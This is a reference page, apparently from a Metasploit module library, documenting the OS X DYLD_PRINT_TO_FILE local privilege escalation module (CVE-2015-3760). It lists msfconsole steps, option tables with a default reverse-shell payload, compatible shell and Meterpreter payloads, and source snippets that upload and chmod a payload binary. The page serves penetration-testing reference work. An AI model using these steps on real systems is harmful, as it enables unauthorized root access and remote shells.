Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/osx/local/dyld_print_to_file_root metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation
Module: exploit/osx/local/dyld_print_to_file_root
Source code: modules/exploits/osx/local/dyld_print_to_file_root.rb
Disclosure date: 2015-07-21
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x64
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2015-3760
In Apple OS X 10.10.4 and prior, the DYLD_PRINT_TO_FILE environment variable is used for redirecting logging data to a file instead of stderr. Due to a design error, this feature can be abused by a local attacker to write arbitrary files as root via restricted, SUID-root binaries.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/osx/local/dyld_print_to_file_root
msf exploit(dyld_print_to_file_root) > show targets
... a list of targets ...
msf exploit(dyld_print_to_file_root) > set TARGET target-id
msf exploit(dyld_print_to_file_root) > show options
... show and set options ...
msf exploit(dyld_print_to_file_root) > set SESSION session-id
msf exploit(dyld_print_to_file_root) > exploit
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the osx/local/dyld_print_to_file_root exploit module looks in the msfconsole:
msf6 > use exploit/osx/local/dyld_print_to_file_root
[*] Using configured payload osx/x64/shell_reverse_tcp
msf6 exploit(osx/local/dyld_print_to_file_root) > show info
Name: Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation
Module: exploit/osx/local/dyld_print_to_file_root
Platform: OSX
Arch: x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2015-07-21
Provided by:
Stefan Esser
joev <[email protected]>
Available targets:
Id Name
-- ----
0 Mac OS X 10.10-10.10.4
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Description:
In Apple OS X 10.10.4 and prior, the DYLD_PRINT_TO_FILE environment
variable is used for redirecting logging data to a file instead of
stderr. Due to a design error, this feature can be abused by a local
attacker to write arbitrary files as root via restricted, SUID-root
binaries.
References:
https://nvd.nist.gov/vuln/detail/CVE-2015-3760
https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html
https://www.reddit.com/r/netsec/comments/3e34i2/os_x_1010_dyld_print_to_file_local_privilege/
Module Options
This is a complete list of options available in the osx/local/dyld_print_to_file_root exploit:
msf6 exploit(osx/local/dyld_print_to_file_root) > show options
Module options (exploit/osx/local/dyld_print_to_file_root):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (osx/x64/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD /bin/sh yes The command string to execute
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Mac OS X 10.10-10.10.4
Advanced Options
Here is a complete list of advanced options supported by the osx/local/dyld_print_to_file_root exploit:
msf6 exploit(osx/local/dyld_print_to_file_root) > show advanced
Module advanced options (exploit/osx/local/dyld_print_to_file_root):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /.Trashes yes Writable directory
Payload advanced options (osx/x64/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the osx/local/dyld_print_to_file_root module can exploit:
msf6 exploit(osx/local/dyld_print_to_file_root) > show targets
Exploit targets:
Id Name
-- ----
0 Mac OS X 10.10-10.10.4
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the osx/local/dyld_print_to_file_root exploit:
msf6 exploit(osx/local/dyld_print_to_file_root) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/osx/x64/dupandexecve/bind_tcp normal No OS X dup2 Command Shell, Bind TCP Stager
4 payload/osx/x64/dupandexecve/reverse_tcp normal No OS X dup2 Command Shell, Reverse TCP Stager
5 payload/osx/x64/dupandexecve/reverse_tcp_uuid normal No OS X dup2 Command Shell, Reverse TCP Stager with UUID Support (OSX x64)
6 payload/osx/x64/exec normal No OS X x64 Execute Command
7 payload/osx/x64/meterpreter/bind_tcp normal No OSX Meterpreter, Bind TCP Stager
8 payload/osx/x64/meterpreter/reverse_tcp normal No OSX Meterpreter, Reverse TCP Stager
9 payload/osx/x64/meterpreter/reverse_tcp_uuid normal No OSX Meterpreter, Reverse TCP Stager with UUID Support (OSX x64)
10 payload/osx/x64/meterpreter_reverse_http normal No OSX Meterpreter, Reverse HTTP Inline
11 payload/osx/x64/meterpreter_reverse_https normal No OSX Meterpreter, Reverse HTTPS Inline
12 payload/osx/x64/meterpreter_reverse_tcp normal No OSX Meterpreter, Reverse TCP Inline
13 payload/osx/x64/say normal No OS X x64 say Shellcode
14 payload/osx/x64/shell_bind_tcp normal No OS X x64 Shell Bind TCP
15 payload/osx/x64/shell_reverse_tcp normal No OS X x64 Shell Reverse TCP
Evasion Options
Here is the full list of possible evasion options supported by the osx/local/dyld_print_to_file_root exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(osx/local/dyld_print_to_file_root) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Session already has root privileges
Here is a relevant code snippet related to the "Session already has root privileges" error message:
57: (ver?) ? CheckCode::Appears : CheckCode::Safe
58: end
59:
60: def exploit
61: if is_root?
62: fail_with Failure::BadConfig, 'Session already has root privileges'
63: end
64:
65: if check != CheckCode::Appears
66: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
67: end
Target is not vulnerable
Here is a relevant code snippet related to the "Target is not vulnerable" error message:
61: if is_root?
62: fail_with Failure::BadConfig, 'Session already has root privileges'
63: end
64:
65: if check != CheckCode::Appears
66: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
67: end
68:
69: unless writable? base_dir
70: fail_with Failure::BadConfig, "#{base_dir} is not writable"
71: end
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
65: if check != CheckCode::Appears
66: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
67: end
68:
69: unless writable? base_dir
70: fail_with Failure::BadConfig, "#{base_dir} is not writable"
71: end
72:
73: upload payload_file, binary_payload
74: cmd_exec "chmod +x #{payload_file}"
75:
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10910 Merged Pull Request: Use
writable?
method for local modules - #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
- #10118 Merged Pull Request: Cleanup OSX local exploit modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5917 Merged Pull Request: Update local exploit checks to follow the guidelines.
References
- CVE-2015-3760
- https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html
- https://www.reddit.com/r/netsec/comments/3e34i2/os_x_1010_dyld_print_to_file_local_privilege/
See Also
Check also the following modules related to this module:
- exploit/osx/local/cfprefsd_race_condition
- exploit/osx/local/feedback_assistant_root
- exploit/osx/local/iokit_keyboard_root
- exploit/osx/local/libxpc_mitm_ssudo
- exploit/osx/local/nfs_mount_root
- exploit/osx/local/persistence
- exploit/osx/local/root_no_password
- exploit/osx/local/rootpipe
- exploit/osx/local/rootpipe_entitlements
- exploit/osx/local/rsh_libmalloc
- exploit/osx/local/setuid_tunnelblick
- exploit/osx/local/setuid_viscosity
- exploit/osx/local/sudo_password_bypass
- exploit/osx/local/timemachine_cmd_injection
- exploit/osx/local/tpwn
- exploit/osx/local/vmware_bash_function_root
- exploit/osx/local/vmware_fusion_lpe
- auxiliary/gather/saltstack_salt_root_key
- auxiliary/scanner/vnc/ard_root_pw
- exploit/linux/local/af_packet_chocobo_root_priv_esc
- exploit/linux/local/diamorphine_rootkit_signal_priv_esc
- exploit/linux/local/libuser_roothelper_priv_esc
- exploit/linux/local/reptile_rootkit_reptile_cmd_priv_esc
- post/android/manage/remove_lock_root
- post/linux/busybox/smb_share_root
- post/multi/escalate/cups_root_file_read
- exploit/android/local/put_user_vroot
- exploit/linux/local/apport_abrt_chroot_priv_esc
- exploit/unix/local/chkrootkit
- exploit/osx/browser/safari_in_operator_side_effect
- exploit/osx/browser/safari_file_policy
Related Nessus plugins:
Authors
- Stefan Esser
- joev
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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